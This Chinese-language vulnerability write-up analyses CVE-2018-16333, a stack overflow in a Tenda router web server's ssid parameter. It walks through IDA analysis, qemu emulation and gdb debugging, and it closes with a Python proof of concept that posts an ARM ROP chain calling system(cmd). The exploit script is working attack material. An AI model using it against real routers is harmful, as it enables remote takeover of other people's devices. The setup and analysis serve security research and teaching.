[TOC]

漏洞说明

There is a buffer overflow vulnerability in the router's web server. While processing the `ssid` parameter for a POST request, the value is directly used in a sprintf call to a local variable placed on the stack, which overrides the return address of the function, causing a buffer overflow.

POST方式传递ssid参数内容导致溢出。

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16333

固件和poc::https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333

IDA分析

1,由于shift+F12快捷方式有些字符串搜索不出来,可以用如下方法

小技巧:

ALT + T 搜索字符串
CTRL + T 重复上一个搜索
ALT + B 二进制字节序列方式搜索
CTRL + B 重复上一个搜索
类推...

2,根据ssid字符串定位到form_fast_setting_wifi_set函数。(或者找到strcpy函数然后通过x交叉引用的方法也能很快定位到form_fast_setting_wifi_set函数)

漏洞产生点:程序获取ssid参数后,没有经过检查就直接使用strcpy函数复制到栈变量中。

注意:这里有个细节:第一次的strcpy如果要溢出到返回地址,会覆盖第二次的strcpy的src(因为在同一个栈中造成数据被覆盖重叠,导致如果src起始地址可能是无效指针,第二次strcpy流程将不会按计划控制,下图说明),但并不会影响第一次的strcpy,所以,解决方案可以选择在libc中选择一个可读有效执行的地址覆盖src指针(任何一个保证不包含\x00的地址都行)。

想办法构造poc去执行system(cmd)。

qemu user级调试

1,安装qemu-user-static:

sudo apt install qemu-user-static

2,qemu用户模式启动程序(当前目录处于squashfs-root/ ):

cp $(which qemu-arm-static) ./
sudo chroot ./ ./qemu-arm-static ./bin/httpd

启动时程序需要做一些程序修复工作:

修复工作:程序流程卡死在某条指令处,可通过一些方法,改变流程使程序不影响主体功能的情况下运行起来。一般可以Hook函数,或则patch某些位置打上补丁。

启动时会遇到如下情况:

3,在IDA中根据出现的字符串搜索,通过X交叉引用的方法定位到程序停止的位置处。

程序是走了线路②的流程,然后提示上面报错内容,我们通过分析直接patch掉①处的循环,和②处的逻辑,程序即可继续正常执行下。(patch掉check_network函数和ConnectCfm函数的返回值为1即可)

可利用IDA插件keypatch完成。

安装方法:
[可能还得自己安装依赖库]https://github.com/keystone-engine/keypatch
[安装详细方法]https://www.chinapyg.com/thread-138385-1-1.html

4,path后的程序直接替换原来的httpd,重新执行命令启动:

我这里因为我早已经构建了br0网卡,所以直接成功了。

未搭建网卡的可能遇见网络配置问题:

类似这种无法识别到网卡分配IP

Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
Unsupported setsockopt level=1 optname=13
httpd listen ip = 255.255.255.255 port = 80

参考:https://xz.aliyun.com/t/7357?spm=5176.12901015.0.i12901015.65db525cQBSuI3&accounttraceid=1d7f8f3f083842dba12fa62662c34665asfk

原因导致主要是如下函数导致的,由于是产商自己写的函数,无法通过源码分析具体功能,只能大致推测出功能,(后面可以在调试中看到读取了br0网卡):

v2 = getLanIfName();
if ( getIfIp(v2, &v15) < 0 )
{
  GetValue((int)"lan.ip", (int)&s);
  strcpy(g_lan_ip, &s);
  memset(&v11, 0, 0x50u);
  if ( !tpi_lan_dhcpc_get_ipinfo_and_status(&v11) && v11 )
    vos_strcpy(g_lan_ip, &v11);
}

大概的流程就是去寻找br0这个网络接口的IP,并在这个ip进行监听。

5,当遇到无法分配IP的时候(255.255.255.255情况),自行搭建虚拟网桥br0

apt-get install bridge-utils
apt-get install uml-utilities
brctl addbr br0
brctl addif br0 ens33
ifconfig br0 up
dhclient br0

参考:https://wzt.ac.cn/2021/05/28/QEMU-networking/

https://blog.csdn.net/u014022631/article/details/53411557

[可以仔细看看qemu虚拟机是如何实现网络交互通信的]

6,然后启动就能成功把http程序跑起来了。

用户模式下测试

我用的方式是手工通过bp改包的方式验证,也能通过脚本执行验证(下面qemu-system系统模式下会演示),用户模式下由于Libc基址容易出现问题(即使关了ASLR里面也看运气,真玄学),所以此处手工进行验证。

不过有一篇文章可以参考下如何解决qemu-user用户模式下解决libc问题。

https://cq674350529.github.io/2020/05/09/%E6%8A%80%E5%B7%A7misc/#more

1,访问web界面,程序已经跑起来了,只是缺少某些配置文件导致access error:

2,测试正常情况下,存在溢出位置处的目录

3,给ssid传入垃圾数据。

4,程序崩溃,验证成功,此处存在溢出

用户模式下qemu+gdb调试

想看看异常退出发生了什么,可以进行调试看看。

1,调式 启动执行程序

sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd

2,gdb远程连接

gdb-multiarch -q ./bin/httpd
set architecture arm    
tar remote 127.0.0.1:1234   #我的IDA是在虚拟机本地的,你也可以和外面主机连,只要ping的通就可以   
c   #c之后程序才会执行挂起

3,利用上述的bp方式改包发送数据:

最终程序终止到了此处:

4,此处我们可以看看Libc基址情况:

方法一:
sudo netstat -tunpl|grep 80 #查看进程PID
sudo cat /proc/12422/maps   #查看libc情况
方法二:gdb的vmmap功能

下断点在0xf65da50c处查看信息:

同时可以发现读取了br0网卡信息。

对比不同方式(gdb加载进程的顺序不同)加载libc的基址:

而且gdb一加载进程就提示了libc问题

qemu 系统模式下测试+调试

1,同样先配通网卡(不熟悉的同学一定要去看上面那篇分享的文章搞明白哦)

#我的宿主机的上网的网卡为ens33,并且存在多个虚拟网卡
ifconfig ens33 down    # 首先关闭宿主机网卡接口
brctl addbr br0                     # 添加一座名为 br0 的网桥
brctl addif br0 ens33        # 在 br0 中添加一个接口
brctl stp br0 on            #打开生成树协议
brctl setfd br0 2                  # 设置 br0 的转发延迟
brctl sethello br0 1                # 设置 br0 的 hello 时间
ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
ifconfig ens33 0.0.0.0 promisc up    # 启用网卡接口
dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址

brctl show br0                      # 查看虚拟网桥列表
brctl showstp br0                   # 查看 br0 的各接口信息

tunctl -t tap0             # 创建一个 tap0 接口
brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
ifconfig tap0 192.168.198.100/24 up        #为tap0分配ip地址

brctl showstp br0                   # 显示 br0 的各个接口

此时查看br0网桥各接口的信息如图,其中tap0的状态应该为disable,等qemu-system-mips启动后就会变为forwarding转发模式。

2,下载qemu-system需要的kernel和虚拟硬盘文件

wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpresswget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

3,启动

sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \-append "root=/dev/mmcblk0p2 console=ttyAMA0" \-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

scriptdownscript 两个选项的作用是告诉 QEMU 在启动系统的时候是否调用脚本自动配置网络环境,如果这两个选项为空,那么 QEMU 启动和退出时会自动选择第一个不存在的 tap 接口(通常是 tap0)为参数,调用脚本 /etc/qemu-ifup 和 /etc/qemu-ifdown。由于我们已经配置完毕,所以这两个参数设置为 no 即可。

3,启动之后,eth0网卡没有分配ip地址,自己手动配个同段互通ip即可,为了等会scp输送固件文件系统到qemu虚拟机中。

ifconfig eth0 192.168.40.100   #qemu中执行
scp -r ./squashfs-root  root@192.168.40.100:/root/ #宿主机执行

挂载对应目录

4,qemu虚拟机挂载固件文件系统中相应目录:

目的是使程序能读取到自身lib中的libc文件

mount -o bind /dev ./root/devmount -t proc /proc ./root/procchroot ./ sh    #这里匹配自己对应的目录,失败就切换目录多试试

配置桥接网卡

5,配置br0虚拟网卡(前面已经分析过,httpd程序启动会去读取这个网卡)

brctl addbr br0    #添加br0虚拟网卡ifconfig br0 192.168.40.200/24 up

Tip:

退出qemu  :   ctrl+a同时按完释放,再x退出

6,启动程序:

正常启动:

./bin/httpd

调试启动:

./gdbserver-7.7.1-armhf-eabi5-v1-sysv 0.0.0.0:1234 ./bin/httpd

调试启动需要对应架构的gdbserver,大家可自行百度找找。[找不到的同学看这里,我又帮你找好了哦]https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F/gdbserver

提示缺少权限:chmod 777附加

7,同样gdb连上

8,执行脚本方法测试(脚本POC内容在最下方,对比上面通过手工测试的方法的优劣)

这里程序又卡在了此处,流程没有正常执行下去。方法跟上面一样,通过str去定位执行指令处,分析,只要不影响程序后面正常执行的,直接patch掉即可。

通过追踪栈帧找到卡住的函数位置:


又是同样的问题,追踪栈帧,找到需要patch的位置:


执行成功:

poc

system = libc_base + 0x5A270 #readelf -s ./lib/libc.so.0 | grep system
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8 #ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
pop_r3 = libc_base + 0x18298 #ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"

payload = 'a'(0x60) + p32(readable_addr) + 'b'(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = ""
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data) #此处两次传递requests具体原因有待分析,经过实际测试对比效果确实不同,这里就留给大家交流了。
print(response.text)

自行环境搭建

[1]https://blog.csdn.net/weixin_44309300/article/details/118526235

现成环境实验

[2]https://github.com/firmianay/IoT-vulhub/tree/master/Tenda/CVE-2018-16333

docker运行环境搭建

[3]https://island123.github.io/2020/02/12/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA--%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8qemu%E8%BF%90%E8%A1%8C%E5%90%84%E7%A7%8D%E6%8C%87%E4%BB%A4%E6%9E%B6%E6%9E%84%E7%A8%8B%E5%BA%8F/#%E4%B8%8Edocker%E7%9A%84%E5%85%BC%E5%AE%B9%E6%80%A7%E9%97%AE%E9%A2%98

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖